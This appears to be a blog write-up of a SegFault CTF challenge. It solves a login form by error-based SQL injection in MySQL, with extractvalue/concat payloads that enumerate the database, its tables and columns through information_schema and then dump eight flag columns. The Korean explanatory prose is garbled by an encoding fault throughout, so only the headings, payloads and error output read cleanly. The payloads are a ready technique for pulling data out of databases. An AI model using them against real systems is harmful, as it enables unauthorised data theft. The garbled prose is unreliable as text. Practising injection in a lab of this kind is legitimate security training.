Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

Wargame & CTF/SegFault

[SegFault] (SQLi) - SQL Injection 4

Gearvirus(junyup2) 2023. 12. 7. 16:00

[SegFault] (SQLi)

SQL Injection 4

flag๋ฅผ ์ฐพ์œผ์„ธ์š”!

๋ฌธ์ œ ํŒŒ์•…

์œ„์˜ ํŽ˜์ด์ง€์— ๋“ค์–ด๊ฐ€๋ฉด ์•„๋ž˜์™€ ๊ฐ™์€ ์ฐฝ์ด ๋‚˜์˜จ๋‹ค.

์šฐ์„  ์ฃผ์–ด์ง„ ๊ณ„์ •์œผ๋กœ ๋กœ๊ทธ์ธ ํ•ด๋ณธ๋‹ค.

๊ณ„์ • ์ •๋ณด : normaltic / 1234

 

๋กœ๊ทธ์ธ ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํŽ˜์ด์ง€๋กœ ๋„˜์–ด๊ฐ„๋‹ค.

๋กœ๊ทธ์ธ ์ดํ›„์˜ ๋ถ€๋ถ„์—๋Š” ๋”ฑํžˆ ์ž…๋ ฅ ๋ถ€๋ถ„์ด ๋ณด์ด์ง€ ์•Š๋Š”๋‹ค.

๊ทธ๋ ‡๋‹ค๋ฉด ๋กœ๊ทธ์ธ ์ฐฝ์—์„œ SQL Injection์ด ๊ฐ€๋Šฅํ•œ์ง€ ํ™•์ธํ•ด๋ณด์ž.

 

SQL Injection Point

'and'1'='1์„ ๋„ฃ์–ด์ค€ ์ƒํƒœ๋กœ๋„ ์ •์ƒ ๋™์ž‘ํ•˜๋Š”์ง€ ํ™•์ธํ•œ๋‹ค.

normaltic'and'1'='1 / 1234

์œ„์˜ id / pw ๋กœ๋„ ๋กœ๊ทธ์ธ๋˜๋Š”์ง€ ํ™•์ธํ•œ ๊ฒฐ๊ณผ ์ •์ƒ์ ์œผ๋กœ ๋กœ๊ทธ์ธ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ–ˆ๋‹ค.

๊ทธ๋ ‡์ง€๋งŒ ์—ฌ๊ธฐ์„œ ๋กœ๊ทธ์ธ์— ๋Œ€ํ•œ ๊ฒฐ๊ณผ ์™ธ์— SQL Injection ๋ฐฉ์‹์„ ๊ฒฐ์ •ํ•  ๋ฐฉ๋ฒ•์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•œ๋‹ค.

๊ทธ๋ž˜์„œ ' ๋ฅผ ์ž…๋ ฅํ•˜์—ฌ ' ์˜ ๊ฐœ์ˆ˜๊ฐ€ ๋งž์ง€ ์•Š๋„๋ก ์œ ๋„ํ•˜์—ฌ  syntax error๋ฅผ ๋ฐœ์ƒ ์‹œ์ผœ๋ณธ๋‹ค.

๊ทธ ๊ฒฐ๊ณผ ์—๋Ÿฌ ๋ฉ”์‹œ์ง€๊ฐ€ ๋กœ๊ทธ์ธ์ฐฝ ํ•˜๋‹จ๋ถ€์— ๊ทธ๋Œ€๋กœ ๋…ธ์ถœ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

์ด๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ Error Based SQL Injection์˜ ์ง„ํ–‰ ์ ˆ์ฐจ(Process)์— ๋”ฐ๋ผ ์ง„ํ–‰ํ•œ๋‹ค.


ํ’€์ด ๊ณผ์ • (ํ•ด๊ฒฐ ๋ฐฉ์•ˆ)

1. SQL Injection Point ์ฐพ๊ธฐ

์œ„์—์„œ Error ์ •๋ณด๊ฐ€ ํ™”๋ฉด์— ๋…ธ์ถœ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•˜์˜€๋‹ค.

 

2. Error๋ฅผ ์œ ๋ฐœํ•˜๋Š” ํ•จ์ˆ˜

๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ MySQL์„ ์‚ฌ์šฉํ•œ๋‹ค. MySQL์˜ ์—๋Ÿฌ ์œ ๋ฐœ ํ•จ์ˆ˜๋Š” extractvalue ์ด๋‹ค.

 

3. ๊ณต๊ฒฉ Format ์ž‘์„ฑํ•˜๊ธฐ

' and extractvalue('1',concat(0x3a,(______))) and '1'='1

์ด์ œ ์œ„์˜ ๋นˆ์นธ์— ์›ํ•˜๋Š” SQL ๊ตฌ๋ฌธ์„ ์‚ฝ์ž…ํ•˜๋ฉด ๋œ๋‹ค.

 

4. DB ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

์–ด๋–ค TABLE๊ณผ COLUMN์ด ์žˆ๋Š”์ง€ ์•Œ์•„๋‚ด๊ธฐ ์œ„ํ•ด ์–ด๋–ค DB๊ฐ€ ์กด์žฌํ•˜๋Š”์ง€ ๋ถ€ํ„ฐ ํ™•์ธํ•œ๋‹ค.

select database()

์œ„์˜ ์ฟผ๋ฆฌ๋ฅผ ๊ณต๊ฒฉ Format์— ๋„ฃ์–ด์„œ ์ž…๋ ตํ•ด๋ณธ๋‹ค.

' and extractvalue('1',concat(0x3a,(select database()))) and '1'='1

Could not update data: XPATH syntax error: ':sqli_2_1'

๊ทธ ๊ฒฐ๊ณผ DB๋Š” sqli_2_1์ž„์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

 

5. Table ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

Table์„ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•œ ์ฟผ๋ฆฌ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

select table_name from information_schema.tables where table_schema = 'sqli_2_1'

๊ทธ๋Ÿฌ๋ฏ€๋กœ ์œ„์˜ ์ฟผ๋ฆฌ๋ฅผ ๊ณต๊ฒฉ Format์— ๋‹ด์•„ ์ž…๋ ฅํ•ด๋ณธ๋‹ค.

' and extractvalue('1',concat(0x3a,(select table_name from information_schema.tables where table_schema = 'sqli_2_1'))) and '1'='1

๊ทธ ๊ฒฐ๊ณผ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•˜์˜€๋‹ค.

Could not update data: Subquery returns more than 1 row

์—๋Ÿฌ์˜ ๋‚ด์šฉ์„ ํ™•์ธํ•ด๋ณด๋ฉด ์—ฌ๋Ÿฌํ–‰์ด ๋‚˜์˜ค๊ธฐ ๋•Œ๋ฌธ์— ๋ฐœ์ƒํ•œ ์—๋Ÿฌ ์˜€๋‹ค.

limit์„ ์ด์šฉํ•˜์—ฌ ํ•œ์ค„์”ฉ๋งŒ ์ถœ๋ ฅํ•ด์ค„ ํ•„์š”๊ฐ€ ์žˆ์–ด ๋ณด์ธ๋‹ค.

๊ทธ์ „์— TABLE์˜ ๊ฐœ์ˆ˜๋ฅผ ํ™•์ธํ•ด๋ณด์ž.

' and extractvalue('1',concat(0x3a,(select count(table_name) from information_schema.tables where table_schema = 'sqli_2_1'))) and '1'='1

๊ทธ ๊ฒฐ๊ณผ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

2๊ฐœ์˜ Table์ด ์กด์žฌํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•˜์˜€๋‹ค. ๊ทธ๋Ÿผ ์ด์ œ limit ์„ ์ด์šฉํ•˜์—ฌ (0~1) ํ™•์ธํ•ด๋ณด์ž

select table_name from information_schema.tables where table_schema = 'sqli_2_1' limit 0,1

์ด๋ฅผ ๊ณต๊ฒฉ Format์— ๋‹ด์•„ ์ž…๋ ฅํ•ด์ฃผ๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜จ๋‹ค.

flag_table ๊ณผ member ๋ผ๋Š” TABLE์ด ํ™•์ธ๋˜์—ˆ๋‹ค.

 

6. Column ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

์šฐ์„  flag_table์„ ํ™•์ธํ•ด๋ณด๊ธฐ๋กœ ํ•œ๋‹ค.

์ผ๋‹จ ํ•ด๋‹น TABLE ๋‚ด๋ถ€์— ๋ช‡ ๊ฐœ์˜ COLUMN์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•ด๋ณธ๋‹ค.

' and extractvalue('1',concat(0x3a,(select count(column_name) from information_schema.columns where table_name = 'flag_table'))) and '1'='1

 

๊ทธ ๊ฒฐ๊ณผ 8๊ฐœ์˜ COLUMN์œผ๋กœ ์ด๋ฃจ์–ด์ง„ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

limit๋ฅผ ์ด์šฉํ•˜์—ฌ (0~7) COLUMN ์ด๋ฆ„๋“ค์„ ํ™•์ธํ•ด๋ณด์ž. ์‚ฌ์šฉํ•  ์ฟผ๋ฆฌ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

select column_name from information_schema.columns where table_name = 'flag_table' limit 0,1

์ด๋ฅผ ๊ณต๊ฒฉ Format์— ๋‹ด์•„์„œ ์ž…๋ ฅํ•ด์ฃผ๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

x' and extractvalue('1',concat(0x3a,(select column_name from information_schema.columns where table_name = 'flag_table' limit 0,1))) and '1'='1

Could not update data: XPATH syntax error: ':flag1'

8๊ฐœ์˜ COLUMN์„ ํ™•์ธํ•ด๋ณธ ๊ฒฐ๊ณผ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

flag1 / flag2 / flag3 / flag4 / flag5 / flag6 / flag7 / flag8

flag 1~8์˜ ์ด๋ฆ„์„ ๊ฐ–๋Š” COLUMN๋“ค์ด ์กด์žฌํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

 

7. Data ์ถœ๋ ฅํ•˜๊ธฐ

๊ทธ๋Ÿผ ์ด์ œ ๊ฐ COLUMN์˜ DATA๋ฅผ ์ถœ๋ ฅํ•ด๋ณด์ž..

select flag (1~8) from flag_table

flag1 ~ flag8์— ๋Œ€ํ•œ ์ฟผ๋ฆฌ๋ฅผ ๊ณต๊ฒฉ Format์— ๋‹ด์•„ ์ž…๋ ฅํ•œ ๊ฒฐ๊ณผ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

' and extractvalue('1',concat(0x3a,(select flag1 from flag_table))) and '1'='1

 

' and extractvalue('1',concat(0x3a,(select flag2 from flag_table))) and '1'='1

 

' and extractvalue('1',concat(0x3a,(select flag3 from flag_table))) and '1'='1

 

' and extractvalue('1',concat(0x3a,(select flag4 from flag_table))) and '1'='1

 

' and extractvalue('1',concat(0x3a,(select flag5 from flag_table))) and '1'='1

 

' and extractvalue('1',concat(0x3a,(select flag6 from flag_table))) and '1'='1

 

' and extractvalue('1',concat(0x3a,(select flag7 from flag_table))) and '1'='1

 

' and extractvalue('1',concat(0x3a,(select flag8 from flag_table))) and '1'='1

ํ™•์ธํ•ด๋ณธ ๊ฒฐ๊ณผ ์ด 8์กฐ๊ฐ์œผ๋กœ ๋‚˜๋ˆ„์–ด์ ธ์žˆ๋Š” flag ์กฐ๊ฐ์ด ์žˆ์—ˆ๊ณ  ์ˆœ์„œ๋Œ€๋กœ ์ด์–ด๋ถ™์ธ ๊ฒฐ๊ณผ๊ฐ€ flag๋กœ์„œ ์™„์„ฑ๋˜์—ˆ๋‹ค.

๊ฒฐ๊ณผ์ ์œผ๋กœ Error Based SQLi๋ฅผ ํ†ตํ•ด flag๋ฅผ ํš๋“ํ•˜๋Š”๋ฐ ์„ฑ๊ณตํ•˜์˜€๋‹ค.


์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜